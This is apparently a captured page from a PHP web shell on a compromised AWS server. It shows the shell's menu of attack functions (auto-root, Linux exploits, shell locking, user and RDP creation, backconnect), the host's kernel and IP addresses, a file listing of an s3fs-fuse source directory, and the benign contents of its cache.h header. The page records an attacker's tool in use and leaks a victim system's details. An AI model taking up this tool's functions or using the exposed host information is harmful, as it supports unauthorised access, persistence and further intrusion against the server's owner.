Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.140.195.142
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
ubuntu /
s3fs-fuse /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
.deps
[ DIR ]
drwxrwxr-x
Makefile
32.69
KB
-rw-rw-r--
Makefile.am
1.57
KB
-rw-rw-r--
Makefile.in
33.49
KB
-rw-rw-r--
addhead.cpp
7.13
KB
-rw-rw-r--
addhead.h
1.96
KB
-rw-rw-r--
addhead.o
574.42
KB
-rw-rw-r--
cache.cpp
20.22
KB
-rw-rw-r--
cache.h
5.72
KB
-rw-rw-r--
cache.o
1.12
MB
-rw-rw-r--
common.h
6.94
KB
-rw-rw-r--
common_auth.cpp
2.37
KB
-rw-rw-r--
common_auth.o
157.23
KB
-rw-rw-r--
curl.cpp
143.81
KB
-rw-rw-r--
curl.h
24.85
KB
-rw-rw-r--
curl.o
4.23
MB
-rw-rw-r--
fdcache.cpp
79.11
KB
-rw-rw-r--
fdcache.h
10.04
KB
-rw-rw-r--
fdcache.o
1.91
MB
-rw-rw-r--
gnutls_auth.cpp
10.44
KB
-rw-rw-r--
nss_auth.cpp
7.46
KB
-rw-rw-r--
openssl_auth.cpp
9.59
KB
-rw-rw-r--
openssl_auth.o
106.31
KB
-rw-rw-r--
psemaphore.h
2.01
KB
-rw-rw-r--
s3fs
5.94
MB
-rwxrwxr-x
s3fs.cpp
163.04
KB
-rw-rw-r--
s3fs.h
2.73
KB
-rw-rw-r--
s3fs.o
4.31
MB
-rw-rw-r--
s3fs_auth.h
2.21
KB
-rw-rw-r--
s3fs_util.cpp
49.47
KB
-rw-rw-r--
s3fs_util.h
4.78
KB
-rw-rw-r--
s3fs_util.o
1.14
MB
-rw-rw-r--
string_util.cpp
14.98
KB
-rw-rw-r--
string_util.h
2.77
KB
-rw-rw-r--
string_util.o
655.09
KB
-rw-rw-r--
test_string_util
461.34
KB
-rwxrwxr-x
test_string_util.cpp
5.06
KB
-rw-rw-r--
test_string_util.o
394.03
KB
-rw-rw-r--
test_util.h
2.85
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cache.h
/* * s3fs - FUSE-based file system backed by Amazon S3 * * Copyright(C) 2007 Randy Rizun <rrizun@gmail.com> * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ #ifndef S3FS_CACHE_H_ #define S3FS_CACHE_H_ #include "common.h" // // Struct for stats cache // struct stat_cache_entry { struct stat stbuf; unsigned long hit_count; struct timespec cache_date; headers_t meta; bool isforce; bool noobjcache; // Flag: cache is no object for no listing. unsigned long notruncate; // 0<: not remove automatically at checking truncate stat_cache_entry() : hit_count(0), isforce(false), noobjcache(false), notruncate(0L) { memset(&stbuf, 0, sizeof(struct stat)); cache_date.tv_sec = 0; cache_date.tv_nsec = 0; meta.clear(); } }; typedef std::map<std::string, stat_cache_entry*> stat_cache_t; // key=path // // Struct for symbolic link cache // struct symlink_cache_entry { std::string link; unsigned long hit_count; struct timespec cache_date; // The function that operates timespec uses the same as Stats symlink_cache_entry() : link(""), hit_count(0) { cache_date.tv_sec = 0; cache_date.tv_nsec = 0; } }; typedef std::map<std::string, symlink_cache_entry*> symlink_cache_t; // // Class // // [NOTE] About Symbolic link cache // The Stats cache class now also has a symbolic link cache. // It is possible to take out the Symbolic link cache in another class, // but the cache out etc. should be synchronized with the Stats cache // and implemented in this class. // Symbolic link cache size and timeout use the same settings as Stats // cache. This simplifies user configuration, and from a user perspective, // the symbolic link cache appears to be included in the Stats cache. // class StatCache { private: static StatCache singleton; static pthread_mutex_t stat_cache_lock; stat_cache_t stat_cache; bool IsExpireTime; bool IsExpireIntervalType; // if this flag is true, cache data is updated at last access time. time_t ExpireTime; unsigned long CacheSize; bool IsCacheNoObject; symlink_cache_t symlink_cache; private: StatCache(); ~StatCache(); void Clear(void); bool GetStat(const std::string& key, struct stat* pst, headers_t* meta, bool overcheck, const char* petag, bool* pisforce); // Truncate stat cache bool TruncateCache(void); // Truncate symbolic link cache bool TruncateSymlink(void); public: // Reference singleton static StatCache* getStatCacheData(void) { return &singleton; } // Attribute unsigned long GetCacheSize(void) const; unsigned long SetCacheSize(unsigned long size); time_t GetExpireTime(void) const; time_t SetExpireTime(time_t expire, bool is_interval = false); time_t UnsetExpireTime(void); bool SetCacheNoObject(bool flag); bool EnableCacheNoObject(void) { return SetCacheNoObject(true); } bool DisableCacheNoObject(void) { return SetCacheNoObject(false); } bool GetCacheNoObject(void) const { return IsCacheNoObject; } // Get stat cache bool GetStat(const std::string& key, struct stat* pst, headers_t* meta, bool overcheck = true, bool* pisforce = NULL) { return GetStat(key, pst, meta, overcheck, NULL, pisforce); } bool GetStat(const std::string& key, struct stat* pst, bool overcheck = true) { return GetStat(key, pst, NULL, overcheck, NULL, NULL); } bool GetStat(const std::string& key, headers_t* meta, bool overcheck = true) { return GetStat(key, NULL, meta, overcheck, NULL, NULL); } bool HasStat(const std::string& key, bool overcheck = true) { return GetStat(key, NULL, NULL, overcheck, NULL, NULL); } bool HasStat(const std::string& key, const char* etag, bool overcheck = true) { return GetStat(key, NULL, NULL, overcheck, etag, NULL); } // Cache For no object bool IsNoObjectCache(const std::string& key, bool overcheck = true); bool AddNoObjectCache(const std::string& key); // Add stat cache bool AddStat(const std::string& key, headers_t& meta, bool forcedir = false, bool no_truncate = false); // Change no truncate flag void ChangeNoTruncateFlag(const std::string& key, bool no_truncate); // Delete stat cache bool DelStat(const char* key, bool lock_already_held = false); bool DelStat(std::string& key, bool lock_already_held = false) { return DelStat(key.c_str(), lock_already_held); } // Cache for symbolic link bool GetSymlink(const std::string& key, std::string& value); bool AddSymlink(const std::string& key, const std::string& value); bool DelSymlink(const char* key, bool lock_already_held = false); }; // // Functions // bool convert_header_to_stat(const char* path, headers_t& meta, struct stat* pst, bool forcedir = false); #endif // S3FS_CACHE_H_ /* * Local variables: * tab-width: 4 * c-basic-offset: 4 * End: * vim600: noet sw=4 ts=4 fdm=marker * vim<600: noet sw=4 ts=4 */
Close